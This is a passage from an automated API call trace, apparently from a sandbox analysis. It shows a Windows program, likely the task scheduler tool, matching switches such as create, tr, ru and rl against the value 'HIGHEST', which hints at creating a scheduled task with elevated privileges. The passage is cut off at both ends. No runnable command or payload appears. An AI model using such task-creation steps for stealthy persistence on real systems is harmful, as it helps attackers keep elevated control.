_Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.957] lstrlenW (lpString="|du|") returned 4 [0132.957] lstrlenW (lpString="|rl|") returned 4 [0132.957] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0132.957] SetLastError (dwErrCode=0x490) [0132.957] lstrlenW (lpString="ri") returned 2 [0132.957] lstrlenW (lpString="ri") returned 2 [0132.957] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.957] lstrlenW (lpString="rl") returned 2 [0132.957] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.957] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ri|") returned 4 [0132.958] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.958] lstrlenW (lpString="|ri|") returned 4 [0132.958] lstrlenW (lpString="|rl|") returned 4 [0132.958] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0132.958] SetLastError (dwErrCode=0x490) [0132.958] lstrlenW (lpString="z") returned 1 [0132.958] lstrlenW (lpString="z") returned 1 [0132.958] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.958] lstrlenW (lpString="rl") returned 2 [0132.958] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.958] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|z|") returned 3 [0132.958] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.958] lstrlenW (lpString="|z|") returned 3 [0132.958] lstrlenW (lpString="|rl|") returned 4 [0132.958] SetLastError (dwErrCode=0x490) [0132.958] lstrlenW (lpString="f") returned 1 [0132.958] lstrlenW (lpString="f") returned 1 [0132.958] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.958] lstrlenW (lpString="rl") returned 2 [0132.958] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.958] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.958] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.958] lstrlenW (lpString="|f|") returned 3 [0132.958] lstrlenW (lpString="|rl|") returned 4 [0132.958] SetLastError (dwErrCode=0x490) [0132.958] lstrlenW (lpString="v1") returned 2 [0132.958] lstrlenW (lpString="v1") returned 2 [0132.958] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.959] lstrlenW (lpString="rl") returned 2 [0132.959] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.959] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|v1|") returned 4 [0132.959] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.959] lstrlenW (lpString="|v1|") returned 4 [0132.959] lstrlenW (lpString="|rl|") returned 4 [0132.959] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0132.959] SetLastError (dwErrCode=0x490) [0132.959] lstrlenW (lpString="xml") returned 3 [0132.959] lstrlenW (lpString="xml") returned 3 [0132.959] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.959] lstrlenW (lpString="rl") returned 2 [0132.959] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.959] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|xml|") returned 5 [0132.959] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.959] lstrlenW (lpString="|xml|") returned 5 [0132.959] lstrlenW (lpString="|rl|") returned 4 [0132.959] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0132.959] SetLastError (dwErrCode=0x490) [0132.959] lstrlenW (lpString="ec") returned 2 [0132.959] lstrlenW (lpString="ec") returned 2 [0132.959] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.959] lstrlenW (lpString="rl") returned 2 [0132.959] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.959] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ec|") returned 4 [0132.959] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.960] lstrlenW (lpString="|ec|") returned 4 [0132.960] lstrlenW (lpString="|rl|") returned 4 [0132.960] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0132.960] SetLastError (dwErrCode=0x490) [0132.960] lstrlenW (lpString="rl") returned 2 [0132.960] lstrlenW (lpString="rl") returned 2 [0132.960] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.960] lstrlenW (lpString="rl") returned 2 [0132.960] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.960] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.960] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rl|") returned 4 [0132.960] lstrlenW (lpString="|rl|") returned 4 [0132.960] lstrlenW (lpString="|rl|") returned 4 [0132.960] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0132.960] SetLastError (dwErrCode=0x0) [0132.960] SetLastError (dwErrCode=0x0) [0132.960] lstrlenW (lpString="HIGHEST") returned 7 [0132.960] lstrlenW (lpString="-/") returned 2 [0132.960] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0132.960] SetLastError (dwErrCode=0x490) [0132.960] SetLastError (dwErrCode=0x490) [0132.960] SetLastError (dwErrCode=0x0) [0132.960] lstrlenW (lpString="HIGHEST") returned 7 [0132.960] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0132.960] SetLastError (dwErrCode=0x490) [0132.960] SetLastError (dwErrCode=0x0) [0132.960] _memicmp (_Buf1=0x1ad580, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.960] lstrlenW (lpString="HIGHEST") returned 7 [0132.961] lstrlenW (lpString="HIGHEST") returned 7 [0132.961] lstrlenW (lpString=" \x09") returned 2 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0132.961] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0132.961] GetLastError () returned 0x0 [0132.961] lstrlenW (lpString="HIGHEST") returned 7 [0132.961] lstrlenW (lpString="HIGHEST") returned 7 [0132.961] SetLastError (dwErrCode=0x0) [0132.961] SetLastError (dwErrCode=0x0) [0132.961] lstrlenW (lpString="/f") returned 2 [0132.961] lstrlenW (lpString="-/") returned 2 [0132.961] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.961] lstrlenW (lpString="create") returned 6 [0132.961] lstrlenW (lpString="create") returned 6 [0132.961] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.961] lstrlenW (lpString="f") returned 1 [0132.961] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.961] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|create|") returned 8 [0132.961] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.961] lstrlenW (lpString="|create|") returned 8 [0132.961] lstrlenW (lpString="|f|") returned 3 [0132.961] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0132.962] SetLastError (dwErrCode=0x490) [0132.962] lstrlenW (lpString="?") returned 1 [0132.962] lstrlenW (lpString="?") returned 1 [0132.962] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.962] lstrlenW (lpString="f") returned 1 [0132.962] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.962] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|?|") returned 3 [0132.962] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.962] lstrlenW (lpString="|?|") returned 3 [0132.962] lstrlenW (lpString="|f|") returned 3 [0132.962] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0132.962] SetLastError (dwErrCode=0x490) [0132.962] lstrlenW (lpString="s") returned 1 [0132.962] lstrlenW (lpString="s") returned 1 [0132.962] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.962] lstrlenW (lpString="f") returned 1 [0132.962] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.962] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|s|") returned 3 [0132.962] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.962] lstrlenW (lpString="|s|") returned 3 [0132.962] lstrlenW (lpString="|f|") returned 3 [0132.962] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0132.962] SetLastError (dwErrCode=0x490) [0132.962] lstrlenW (lpString="u") returned 1 [0132.962] lstrlenW (lpString="u") returned 1 [0132.962] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.963] lstrlenW (lpString="f") returned 1 [0132.963] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.963] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|u|") returned 3 [0132.963] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.963] lstrlenW (lpString="|u|") returned 3 [0132.963] lstrlenW (lpString="|f|") returned 3 [0132.963] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0132.963] SetLastError (dwErrCode=0x490) [0132.963] lstrlenW (lpString="p") returned 1 [0132.963] lstrlenW (lpString="p") returned 1 [0132.963] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.963] lstrlenW (lpString="f") returned 1 [0132.963] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.963] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|p|") returned 3 [0132.963] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.963] lstrlenW (lpString="|p|") returned 3 [0132.963] lstrlenW (lpString="|f|") returned 3 [0132.963] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0132.963] SetLastError (dwErrCode=0x490) [0132.963] lstrlenW (lpString="ru") returned 2 [0132.963] lstrlenW (lpString="ru") returned 2 [0132.963] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.963] lstrlenW (lpString="f") returned 1 [0132.963] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.963] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ru|") returned 4 [0132.963] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.963] lstrlenW (lpString="|ru|") returned 4 [0132.964] lstrlenW (lpString="|f|") returned 3 [0132.964] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0132.964] SetLastError (dwErrCode=0x490) [0132.964] lstrlenW (lpString="rp") returned 2 [0132.964] lstrlenW (lpString="rp") returned 2 [0132.964] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.964] lstrlenW (lpString="f") returned 1 [0132.964] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.964] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|rp|") returned 4 [0132.964] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.964] lstrlenW (lpString="|rp|") returned 4 [0132.964] lstrlenW (lpString="|f|") returned 3 [0132.964] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0132.964] SetLastError (dwErrCode=0x490) [0132.964] lstrlenW (lpString="sc") returned 2 [0132.964] lstrlenW (lpString="sc") returned 2 [0132.964] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.964] lstrlenW (lpString="f") returned 1 [0132.964] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.964] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sc|") returned 4 [0132.964] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.964] lstrlenW (lpString="|sc|") returned 4 [0132.964] lstrlenW (lpString="|f|") returned 3 [0132.964] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0132.964] SetLastError (dwErrCode=0x490) [0132.964] lstrlenW (lpString="mo") returned 2 [0132.964] lstrlenW (lpString="mo") returned 2 [0132.965] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.965] lstrlenW (lpString="f") returned 1 [0132.965] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.965] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|mo|") returned 4 [0132.965] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.965] lstrlenW (lpString="|mo|") returned 4 [0132.965] lstrlenW (lpString="|f|") returned 3 [0132.965] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0132.965] SetLastError (dwErrCode=0x490) [0132.965] lstrlenW (lpString="d") returned 1 [0132.965] lstrlenW (lpString="d") returned 1 [0132.965] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.965] lstrlenW (lpString="f") returned 1 [0132.965] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.965] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|d|") returned 3 [0132.965] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.965] lstrlenW (lpString="|d|") returned 3 [0132.965] lstrlenW (lpString="|f|") returned 3 [0132.965] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0132.965] SetLastError (dwErrCode=0x490) [0132.965] lstrlenW (lpString="m") returned 1 [0132.965] lstrlenW (lpString="m") returned 1 [0132.965] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.965] lstrlenW (lpString="f") returned 1 [0132.965] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.965] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|m|") returned 3 [0132.965] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.966] lstrlenW (lpString="|m|") returned 3 [0132.966] lstrlenW (lpString="|f|") returned 3 [0132.966] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0132.966] SetLastError (dwErrCode=0x490) [0132.966] lstrlenW (lpString="i") returned 1 [0132.966] lstrlenW (lpString="i") returned 1 [0132.966] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.966] lstrlenW (lpString="f") returned 1 [0132.966] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.966] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|i|") returned 3 [0132.966] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.966] lstrlenW (lpString="|i|") returned 3 [0132.966] lstrlenW (lpString="|f|") returned 3 [0132.966] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0132.966] SetLastError (dwErrCode=0x490) [0132.966] lstrlenW (lpString="tn") returned 2 [0132.966] lstrlenW (lpString="tn") returned 2 [0132.966] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.966] lstrlenW (lpString="f") returned 1 [0132.966] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.966] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tn|") returned 4 [0132.966] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.966] lstrlenW (lpString="|tn|") returned 4 [0132.968] lstrlenW (lpString="|f|") returned 3 [0132.968] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0132.968] SetLastError (dwErrCode=0x490) [0132.968] lstrlenW (lpString="tr") returned 2 [0132.969] lstrlenW (lpString="tr") returned 2 [0132.969] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.969] lstrlenW (lpString="f") returned 1 [0132.969] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.969] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|tr|") returned 4 [0132.969] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.969] lstrlenW (lpString="|tr|") returned 4 [0132.969] lstrlenW (lpString="|f|") returned 3 [0132.969] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0132.969] SetLastError (dwErrCode=0x490) [0132.969] lstrlenW (lpString="st") returned 2 [0132.969] lstrlenW (lpString="st") returned 2 [0132.969] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.969] lstrlenW (lpString="f") returned 1 [0132.969] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.969] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|st|") returned 4 [0132.969] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.969] lstrlenW (lpString="|st|") returned 4 [0132.969] lstrlenW (lpString="|f|") returned 3 [0132.969] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0132.969] SetLastError (dwErrCode=0x490) [0132.969] lstrlenW (lpString="sd") returned 2 [0132.969] lstrlenW (lpString="sd") returned 2 [0132.969] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.969] lstrlenW (lpString="f") returned 1 [0132.969] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.970] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|sd|") returned 4 [0132.970] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.970] lstrlenW (lpString="|sd|") returned 4 [0132.970] lstrlenW (lpString="|f|") returned 3 [0132.970] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0132.970] SetLastError (dwErrCode=0x490) [0132.970] lstrlenW (lpString="ed") returned 2 [0132.970] lstrlenW (lpString="ed") returned 2 [0132.970] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.970] lstrlenW (lpString="f") returned 1 [0132.970] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.970] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ed|") returned 4 [0132.970] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.970] lstrlenW (lpString="|ed|") returned 4 [0132.970] lstrlenW (lpString="|f|") returned 3 [0132.970] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0132.970] SetLastError (dwErrCode=0x490) [0132.970] lstrlenW (lpString="it") returned 2 [0132.970] lstrlenW (lpString="it") returned 2 [0132.970] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.970] lstrlenW (lpString="f") returned 1 [0132.970] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.970] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|it|") returned 4 [0132.970] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.970] lstrlenW (lpString="|it|") returned 4 [0132.970] lstrlenW (lpString="|f|") returned 3 [0132.970] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0132.971] SetLastError (dwErrCode=0x490) [0132.971] lstrlenW (lpString="et") returned 2 [0132.971] lstrlenW (lpString="et") returned 2 [0132.971] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.971] lstrlenW (lpString="f") returned 1 [0132.971] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.971] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|et|") returned 4 [0132.971] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.971] lstrlenW (lpString="|et|") returned 4 [0132.971] lstrlenW (lpString="|f|") returned 3 [0132.971] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0132.971] SetLastError (dwErrCode=0x490) [0132.971] lstrlenW (lpString="k") returned 1 [0132.971] lstrlenW (lpString="k") returned 1 [0132.971] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.971] lstrlenW (lpString="f") returned 1 [0132.971] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.971] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|k|") returned 3 [0132.971] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.971] lstrlenW (lpString="|k|") returned 3 [0132.971] lstrlenW (lpString="|f|") returned 3 [0132.971] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0132.971] SetLastError (dwErrCode=0x490) [0132.971] lstrlenW (lpString="du") returned 2 [0132.971] lstrlenW (lpString="du") returned 2 [0132.971] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.971] lstrlenW (lpString="f") returned 1 [0132.972] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.972] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|du|") returned 4 [0132.972] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.972] lstrlenW (lpString="|du|") returned 4 [0132.972] lstrlenW (lpString="|f|") returned 3 [0132.972] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0132.972] SetLastError (dwErrCode=0x490) [0132.972] lstrlenW (lpString="ri") returned 2 [0132.972] lstrlenW (lpString="ri") returned 2 [0132.972] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.972] lstrlenW (lpString="f") returned 1 [0132.972] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.972] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|ri|") returned 4 [0132.972] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.972] lstrlenW (lpString="|ri|") returned 4 [0132.972] lstrlenW (lpString="|f|") returned 3 [0132.972] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0132.972] SetLastError (dwErrCode=0x490) [0132.972] lstrlenW (lpString="z") returned 1 [0132.972] lstrlenW (lpString="z") returned 1 [0132.972] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.972] lstrlenW (lpString="f") returned 1 [0132.972] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.972] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|z|") returned 3 [0132.972] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.972] lstrlenW (lpString="|z|") returned 3 [0132.972] lstrlenW (lpString="|f|") returned 3 [0132.973] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0132.973] SetLastError (dwErrCode=0x490) [0132.973] lstrlenW (lpString="f") returned 1 [0132.973] lstrlenW (lpString="f") returned 1 [0132.973] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.973] lstrlenW (lpString="f") returned 1 [0132.973] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.973] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: _Buffer="|f|") returned 3 [0132.973] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c588 | out: 